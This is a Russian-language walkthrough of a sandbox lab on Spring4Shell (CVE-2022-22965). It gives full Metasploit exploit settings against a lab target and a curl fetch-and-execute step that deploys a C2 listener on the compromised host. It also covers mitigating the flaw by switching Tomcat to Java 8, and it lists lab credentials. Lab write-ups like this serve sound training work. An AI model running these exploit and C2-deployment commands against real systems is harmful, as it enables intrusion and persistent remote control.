Пошаговое руководство по эксплуатации CVE-2022-22965 (Spring4Shell) с помощью Metasploit, развертыванию C2-слушателя и смягчению уязвимости путем понижения версии до Java 8 на сервере Tomcat.
Это пошаговое руководство описывает выполнение задания песочницы, посвящённого CVE-2022-22965, известной как Spring4Shell — критической (CVSS 9.8/10) уязвимости удалённого выполнения кода, затрагивающей определённые версии фреймворка Spring для Java. Задание охватывает как атакующую (red team), так и защитную (blue team) перспективу данной уязвимости.
Примечание: Команды и пути к файлам в этом руководстве соответствуют конкретной среде, использованной при выполнении. Ваша среда может отличаться — корректируйте пути, IP-адреса и имена файлов соответствующим образом.
| Машина | IP-адрес | Роль |
|---|
| Security-Desk (Kali Linux) | 172.16.200.12 | Машина для атаки и работы |
| Red Target (Linux) | 172.16.100.90 | Цель для эксплуатации |
| Blue Target (Linux) | 172.16.100.100 | Цель для усиления защиты |
Учётные данные: playerone / password123
Просмотрел вкладку Network Map на панели задания, чтобы подтвердить IP-адрес Red Target (172.16.100.90). Использовал curl для проверки веб-приложения, работающего на порту 80:
curl http://172.16.100.90
Вывод показал Apache Tomcat 9.0.59 с перенаправлением на /dasmsp. Просмотрел исходный код страницы, чтобы определить конечную точку POST-формы по адресу /dasmsp/contact.
msfconsole
use exploit/multi/http/spring_framework_rce_spring4shell
set RHOSTS 172.16.100.90
set LHOST 172.16.200.12
set RPORT 80
set TARGETURI /dasmsp/contact
set PAYLOAD_PATH webapps/ROOT
set HTTP_METHOD POST
set ForceExploit true
run
Эксплойт успешно создал JSP-шелл, изменил загрузчик классов, сбросил файл журнала и открыл сессию командной оболочки на Red Target.
После открытия сессии ввёл shell, чтобы перейти к интерактивной оболочке. Metasploit нашёл /usr/bin/script на цели и использовал его для получения интерактивной оболочки от имени пользователя tomcat.
Бинарный файл deploy_c2 находился на Security-Desk, а не на Red Target. Разместил его на Security-Desk через HTTP-сервер Python3:
cd /home/playerone/Desktop/Resources/
python3 -m http.server 8080
Загрузил и выполнил его в сессии оболочки Red Target:
curl http://172.16.200.12:8080/deploy_c2 -o /tmp/deploy_c2
chmod +x /tmp/deploy_c2
/tmp/deploy_c2
Вывод подтвердил: Done! — C2-прослушиватель успешно развёрнут на Red Target.
Из терминала Security-Desk:
Пароль: password123
Пакеты Java 8 .deb находились на Security-Desk по пути /home/playerone/Desktop/Resources/. Передал их на Blue Target с помощью SCP из терминала Security-Desk:
scp /home/playerone/Desktop/Resources/*.deb [email protected]:/tmp/
Переданные пакеты:
В сессии SSH на Blue Target:
sudo dpkg -i /tmp/*.deb
Из-за известной проблемы в задании проверка не регистрируется корректно без ручной установки Java 8 по умолчанию:
sudo update-alternatives --config java
Выбрал вариант 2 — /usr/lib/jvm/temurin-8-jdk-amd64/bin/java.
Просмотрел файл unit-службы Tomcat:
cat /etc/systemd/system/tomcat.service
Отредактировал файл, чтобы обновить переменную окружения JAVA_HOME:
sudo nano /etc/systemd/system/tomcat.service
Изменил:
Environment="JAVA_HOME=/usr"
На:
Environment="JAVA_HOME=/usr/lib/jvm/temurin-8-jdk-amd64"
sudo systemctl daemon-reload
sudo systemctl restart tomcat
Проверка «CVE-2022-22965 Mitigated on Blue Target» загорелась зелёным на панели задания.
spring_framework_rce_spring4shell)